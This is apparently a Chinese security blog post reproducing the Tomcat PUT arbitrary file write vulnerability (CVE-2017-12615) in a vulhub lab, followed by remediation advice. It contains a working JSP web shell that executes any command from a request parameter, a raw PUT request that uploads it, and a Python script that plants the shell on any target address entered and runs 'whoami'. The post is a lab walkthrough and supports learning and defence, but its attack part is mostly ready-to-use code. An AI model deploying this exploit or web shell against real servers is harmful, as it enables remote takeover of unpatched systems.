Tomcat PUT方法任意写文件漏洞(CVE-2017-12615)

1 漏洞原理

  1. 在Apache Tomcat服务器中,PUT方法通常用于上传文件。攻击者可以通过发送PUT请求,将恶意文件上传到服务器。

  2. 当攻击者发送PUT请求时,Tomcat服务器会将请求中的数据写入指定的文件。如果攻击者能够控制文件路径,那么他们可以将恶意文件写入任意位置,从而实现任意文件写入。

2 漏洞影响

  1. 任意文件写入:攻击者可以通过构造恶意PUT请求,将恶意文件写入服务器的任意位置。这可能导致服务器被攻击者控制,或者敏感数据泄露。

  2. 远程代码执行:攻击者可以通过上传恶意脚本文件(如JSP文件)到服务器,然后通过访问该文件来执行恶意代码。这可能导致远程代码执行漏洞,进一步威胁服务器的安全。

  3. 信息泄露:攻击者可以通过写入恶意文件,访问服务器上的敏感信息,如配置文件、日志文件等。

3 环境搭建

复制代码
进入vulhub目录
cd vulhub/tomcat/CVE-2017-12615
部署漏洞环境
docker compose build
docker compose up -d
查看端口
docker compose ps

访问 ,您将看到页面,表示环境正在成功运行。

4 漏洞复现步骤

1 抓包后,右键单机Send to Repeater

2 修改请求方式为PUT,文件名为1.jsp(名字任意),内容填充shell脚本。

复制代码
PUT /1.jsp/ HTTP/1.1
Host: 192.168.135.132:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=1CCD15499524302645C18183B820C173
Upgrade-Insecure-Requests: 1
Content-Length: 302
​
<%
    java.io.InputStream is = Runtime.getRuntime()
                            .exec(request.getParameter("command"))
                            .getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    while ((a = is.read(b)) != -1) {
        out.print(new String(b));
    }
%>

这里看到返回201,应该已经上传成功了。

3.使用浏览器访问exc.jsp可以任意命令执行

5 编写python脚本探测漏洞是否存在

复制代码
#!/usr/bin/env python
​
import requests
import time
​
# 提示:本代码仅用于实验和学习目的,请谨慎使用。
print(" 注意:本代码仅用于实验和学习目的,请谨慎使用")
​
# 定义要上传的恶意文件名
payload_file = 'shell1.jsp/'
​
def cve_2017_12615():
    # 输入目标IP地址和端口
    url = input("请输入目标IP地址和端口(格式:http://172.30.230.107:8080/):")
    # 将payload_file添加到目标URL
    payload_url = url + payload_file
    print(payload_url)
    
    # 定义请求头
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0'
    }
​
    # 定义恶意脚本内容
    payload_body = ("<%java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(\"cmd\")).getInputStream();"
                    "int a = -1;"
                    "byte[] b = new byte[2048];"
                    "while((a=in.read(b))!=-1){out.println(new String(b));}"
                    "%>")
    # 使用PUT请求将恶意脚本写入服务器
    response = requests.put(payload_url, data=payload_body, headers=headers)
    print(payload_url[:-1])
    print(response.status_code)
    # 等待一会
    time.sleep(3)
    # 定义测试负载
    test_payload = {
        "cmd":"whoami"
    }
    # 发送GET请求测试恶意脚本是否成功执行
    response2 = requests.get(payload_url[:-1], headers=headers,params=test_payload)
    print(response2.status_code)
    if response2.status_code == 200:
        print("漏洞存在!!")
    else:
        print("漏洞不存在!!")
​
# 调用cve_2017_12615()函数
cve_2017_12615()

结果

6 修复建议:

  1. 禁用PUT方法:在Apache Tomcat服务器的配置文件(如web.xml)中,禁用PUT方法,防止攻击者通过PUT请求上传文件。

  2. 限制文件上传路径:在应用程序中限制允许上传文件的路径,防止攻击者将恶意文件写入敏感位置。

  3. 输入验证和过滤:对用户输入进行严格的验证和过滤,防止恶意输入导致任意文件写入。

  4. 使用安全编码规范:遵循OWASP(开放Web应用程序安全项目)提供的安全编码规范,确保应用程序的安全性。

相关推荐
doubt。1 小时前
3.【BUUCTF】XSS-Lab1
网络·安全·web安全·网络安全·xss
doubt。1 小时前
1.【BUUCTF】BUU XSS COURSE 11及XSS知识点
网络·安全·web安全·网络安全·xss
黑客Jack2 小时前
网络安全--边界安全-防火墙
网络·安全·web安全
网络安全Ash5 小时前
网络安全——Span 安全监控
安全·web安全·php
网络安全Jack5 小时前
网络安全—DDoS攻防
网络·web安全·ddos
doubt。7 小时前
5.【BUUCTF】[BJDCTF2020]Easy MD5及知识点
网络·安全·web安全·网络安全·php·代码复审
SRC_BLUE_177 小时前
[权限提升] Linux 提权 — 系统内核溢出漏洞提权
安全·web安全·网络安全
重庆森林不在重庆9 小时前
upload-labs通关
网络·web安全·网络安全·php
coleak11 小时前
Flask代码审计实战
后端·python·web安全·flask
doubt。13 小时前
5.攻防世界simple_php
网络·安全·web安全·网络安全·php·代码复审